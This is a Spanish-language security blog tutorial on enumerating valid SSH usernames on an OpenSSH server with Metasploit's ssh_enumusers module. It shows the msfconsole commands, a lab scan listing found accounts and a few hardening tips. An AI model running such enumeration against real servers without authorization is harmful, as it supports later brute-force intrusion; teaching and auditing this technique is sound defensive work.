Hacking: Enumeración de usuarios SSH en un servidor usando metasploit

SSH

OpenSSH es probablemente la utilidad SSH más usada en todo el mundo, ya sea como servidor o como cliente. Sin embargo, hasta las versiones más recientes tienen un fallo de seguridad grave que permite a un atacante remoto obtener los nombres de las cuentas en la máquina objetivo, esto ocurre debido a discrepancias en los tiempos de espera en las respuestas que toman más tiempo para los nombres de usuario que son válidos que para los inválidos. Usted prueba el servidor OpenSSH al proporcionar nombres de usuario, y si hay un retraso en la autenticación de usuario, entonces el usuario existe. Para evaluar y auditar OpenSSH de esta forma usted necesita un diccionario con nombres de usuario para realizar las pruebas pertinentes.

Descargo de responsabilidad: todos los ataques llevados a cabo durante este artículo se realizan en máquinas virtuales dedicadas para pruebas de penetración, dichas máquinas son propiedad de Security Hack Labs. Los actos ilegales que se cometan con lo aprendido en este artículo, no nos hace responsables de nada, todo lo explicado es con fines educativos.

· Módulo de enumeración de usuarios SSH de metasploit

Metasploit cuenta con un módulo especializado para llevar a cabo la enumeración de usuarios SSH en una máquina remota, el módulo es auxiliary/scanner/ssh/ssh_enumusers, escribiremos lo siguiente en nuestra terminal de comandos:

[email protected] ~ ->
 ➤➤➤➤ ▶ sudo msfconsole #Aquí iniciamos metasploit
                                                

                                   .,,.                  .
                                .\$$$$$L..,,==aaccaacc%#s$b.       d8,    d8P
                     d8P        #$$$$$$$$$$$$$$$$$$$$$$$$$$$b.    `BP  d888888p
                  d888888P      '7$$$$\""""''^^`` .7$$$|D*"'```         ?88'
  d8bd8b.d8p d8888b ?88' d888b8b            _.os#$|8*"`   d8P       ?8b  88P
  88P`?P'?P d8b_,dP 88P d8P' ?88       .oaS###S*"`       d8P d8888b $whi?88b 88b
 d88  d8 ?8 88b     88b 88b  ,88b .osS$$$$*" ?88,.d88b, d88 d8P' ?88 88P `?8b
d88' d88b 8b`?8888P'`?8b`?88P'.aS$$$$Q*"`    `?88'  ?88 ?88 88b  d88 d88
                          .a#$$$$$$"`          88b  d8P  88b`?8888P'
                       ,s$$$$$$$"`             888888P'   88n      _.,,,ass;:
                    .a$$$$$$$P`               d88P'    .,.ass%#S$$$$$$$$$$$$$$'
                 .a$###$$$P`           _.,,-aqsc#SS$$$$$$$$$$$$$$$$$$$$$$$$$$'
              ,a$$###$$P`  _.,-ass#S$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$####SSSS'
           .a$$$$$$$$$$SSS$$$$$$$$$$$$$$$$$$$$$$$$$$$$SS##==--""''^^/$$$$$$'
_______________________________________________________________   ,&$$$$$$'_____
                                                                 ll&&$$$$'
                                                              .;;lll&&&&'
                                                            ...;;lllll&'
                                                          ......;;;llll;;;....
                                                           ` ......;;;;... .  .


       =[ metasploit v4.17.14-dev                         ]
+ -- --=[ 1810 exploits - 1027 auxiliary - 313 post       ]
+ -- --=[ 539 payloads - 42 encoders - 10 nops            ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use auxiliary/scanner/ssh/ssh_enumusers #Aquí cargamos el módulo que vamos a usar

Una vez hayamos cargado el módulo vamos a ver las opciones escribiendo options.

sf auxiliary(scanner/ssh/ssh_enumusers) > options

Module options (auxiliary/scanner/ssh/ssh_enumusers):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   CHECK_FALSE  false            no        Check for false positives (random username)
   Proxies                       no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                        yes       The target address range or CIDR identifier
   RPORT        22               yes       The target port
   THREADS      1                yes       The number of concurrent threads
   THRESHOLD    10               yes       Amount of seconds needed before a user is considered found (timing attack only)
   USERNAME                      no        Single username to test (username spray)
   USER_FILE                     no        File containing usernames, one per line


Auxiliary action:

   Name              Description
   ----              -----------
   Malformed Packet  Use a malformed packet

Lo siguiente es, como mencionamos al inicio del artículo, tener un archivo con nombres de usuario. En internet pueden encontrar muchos. Nosotros usaremos un diccionario personalizado llamado users.txt para realizar las pruebas.

Ahora vamos a configurar los parámetros para lanzar el módulo metasploit, usaremos los siguientes comandos:

msf auxiliary(scanner/ssh/ssh_enumusers) > set rhosts $IP # (Aquí la IP de la máquina objetivo, en nuestro caso 192.168.0.6)
rhosts => 192.168.0.6
msf auxiliary(scanner/ssh/ssh_enumusers) > set threads 15 # (El número de hilos que se usarán para el proceso, 1 es el más lento)
threads => 15
msf auxiliary(scanner/ssh/ssh_enumusers) > set user_file /home/sechacklabs/users.txt # (La ruta donde están los nombres de usuario)
user_file => /home/sechacklabs/users.txt
msf auxiliary(scanner/ssh/ssh_enumusers) > run # Por último lanzamos el ataque

También se puede configurar el parámetro rport en caso de que SSH este corriendo en un puerto diferente al 22.

Una vez lanzado el módulo empezarpa a comprobar usuarios y... ¡sí, los hemos obtenido! Son los que aparecen con un + al inicio.

msf auxiliary(scanner/ssh/ssh_enumusers) > run

[*] 192.168.0.6:22 - SSH - Using malformed packet technique
[*] 192.168.0.6:22 - SSH - Starting scan
[-] 192.168.0.6:22 - SSH - User 'asfasfsafsa' not found
[-] 192.168.0.6:22 - SSH - User 'sdasdsa' not found
[-] 192.168.0.6:22 - SSH - User '3243433' not found
[+] 192.168.0.6:22 - SSH - User 'Administrator' found
[-] 192.168.0.6:22 - SSH - User 'sfdf' not found
[-] 192.168.0.6:22 - SSH - User 'admin' not found
[+] 192.168.0.6:22 - SSH - User 'vagrant' found
[-] 192.168.0.6:22 - SSH - User 'password' not found
[+] 192.168.0.6:22 - SSH - User 'sshd' found
[-] 192.168.0.6:22 - SSH - User 'shltest' not found
[-] 192.168.0.6:22 - SSH - User 'god' not found
[-] 192.168.0.6:22 - SSH - User 'matthew' not found
[+] 192.168.0.6:22 - SSH - User 'chewbacca' found
[+] 192.168.0.6:22 - SSH - User 'greedo' found
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Una vez tengamos la lista de usuarios podemos utilizarla para filtrar nombres por importancia (Administrator y sshd, por ejemplo) para posteriormente realizar ataques de fuerza bruta al servidor SSH, lo cual explicaremos en un próximo artículo.

· Recomendaciones de protección contra estos ataques

Aunque no hay una solución definitiva para estos ataques, unas medidas que contribuyen a que el proceso sea más laborioso para el atacante son:

  1. Ejecute el servidor SSH en un puerto diferente al 22.
  2. Desactive el login SSH de usuarios como root o administrador.
  3. Limite las conexiones SSH a solo máquinas específicas o establezca conexiones mediante claves SSH autorizadas.

Síguenos en FacebookTwitterunete a nuestro chat en Discord y no olvides compartirnos en las redes sociales. También puede hacernos una donación o comprar nuestros servicios.

Acerca del autor

Especialista en Seguridad Informática bajo certificación OSCP, experto en técnicas de privacidad y seguridad en la red, desarrollador back-end, miembro de la FSF y Fundador de Security Hack Labs. Desarrollador de la distribución de hacking BlackArch Linux. Twitter: @edu4rdshl XMPP/Email: [email protected]